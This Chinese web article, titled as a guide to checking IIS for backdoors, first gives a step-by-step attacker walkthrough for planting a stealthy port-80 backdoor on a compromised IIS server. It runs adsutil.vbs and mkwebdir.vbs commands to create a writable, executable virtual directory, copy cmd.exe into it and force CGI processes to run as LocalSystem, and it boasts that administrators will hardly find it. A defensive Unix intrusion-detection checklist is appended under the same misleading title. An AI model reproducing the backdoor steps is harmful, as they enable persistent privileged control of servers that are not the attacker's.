怎么检查iis下后门

怎么检查iis下后门,第1张

IIS是比较流行的www服务器,设置不当漏洞就很多。入侵iis服务器后留下后门,以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听,比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点(他们的管理员吃了苦头后)一般通过防火墙对端口进行限制,这样除了管理员开的端口外,其他端口就不能连接了。但是80端口是不可能关闭的(如果管理员没有吃错药)。那么我们可以通过在80端口留后门,来开启永远的后门。

当IIS启动CGI应用程序时,缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号,当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低,可能都属于guest组的成员。其实我们可以修改iis开启CGI的方式,来提高权限。我们来看iis主进程本身是运行在localsystem账号下的,所以我们就可以得到最高localsystem的权限。

入侵web服务器后,一般都可以绑定一个cmd到一个端口来远程控制该服务器。这时可以有GUI的远程控制,比如3389,或者类telnet text方式的控制,比如rnc。nc肯定是可以用的,其实这也足够了。

1. telnet到服务器

2. cscript.exe adsutil.vbs enum w3svc/1/root

KeyType : (STRING) "IIsWebVirtualDir"

AppRoot : (STRING) "/LM/W3SVC/1/ROOT"

AppFriendlyName : (STRING) "默认应用程序"

AppIsolated : (INTEGER) 2

AccessRead : (BOOLEAN) True

AccessWrite : (BOOLEAN) False

AccessExecute : (BOOLEAN) False

AccessScript : (BOOLEAN) True

AccessSource : (BOOLEAN) False

AccessNoRemoteRead : (BOOLEAN) False

AccessNoRemoteWrite : (BOOLEAN) False

AccessNoRemoteExecute : (BOOLEAN) False

AccessNoRemoteScript : (BOOLEAN) False

HttpErrors : (LIST) (32 Items)

"400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"

"401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"

"401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.htm"

"401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"

"401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"

"401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"

"403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"

"403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"

"403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"

"403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"

"403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"

"403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"

"403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"

"403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"

"403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"

"403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"

"403,11,FILE,C:\WINNT\help\iisHelp\common\403-11.htm"

"403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"

"403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"

"403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"

"403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"

"403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"

"404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"

"405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"

"406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"

"407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"

"412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"

"414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"

"500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"

"500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"

"500,15,FILE,C:\WINNT\help\iisHelp\common\500-15.htm"

"500,100,URL,/iisHelp/common/500-100.asp"

FrontPageWeb : (BOOLEAN) True

Path : (STRING) "c:\inetpub\wwwroot"

AccessFlags : (INTEGER) 513

[/w3svc/1/root/localstart.asp]

[/w3svc/1/root/_vti_pvt]

[/w3svc/1/root/_vti_log]

[/w3svc/1/root/_private]

[/w3svc/1/root/_vti_txt]

[/w3svc/1/root/_vti_script]

[/w3svc/1/root/_vti_cnf]

[/w3svc/1/root/_vti_bin]

不要告诉我你不知道上面的输出是什么!!!!

现在我们心里已经有底了,是不是!呵呵 管理员要倒霉了

3. mkdir c:\inetpub\wwwroot\dir1

4. cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:\inetpub\wwwroot\dir1"

这样就建好了一个虚目录:Virtual Dir1

你可以用 1 的命令看一下

5. 接下来要改变一下Virtual Dir1的属性为execute

cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:

cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s:

现在你已经可以upload 内容到该目录,并且可以运行。你也可以把cmd.exe net.exe直接拷贝到虚拟目录的磁盘目录中。

6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process

Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false

注释:cscript windows script host.

adsutil.vbs windows iis administration script

后面是 iis metabase path

这样的后门几乎是无法查出来的,除非把所有的虚目录察看一遍(如果管理员写好了遗书,那他就去查吧)

大家不可以用来做非法的攻击,一切后果自负

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东,

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,查询的结果是否正常来判断文件是否完整。


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/242752.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-12
下一篇2023-04-12

发表评论

登录后才能评论

评论列表(0条)

    保存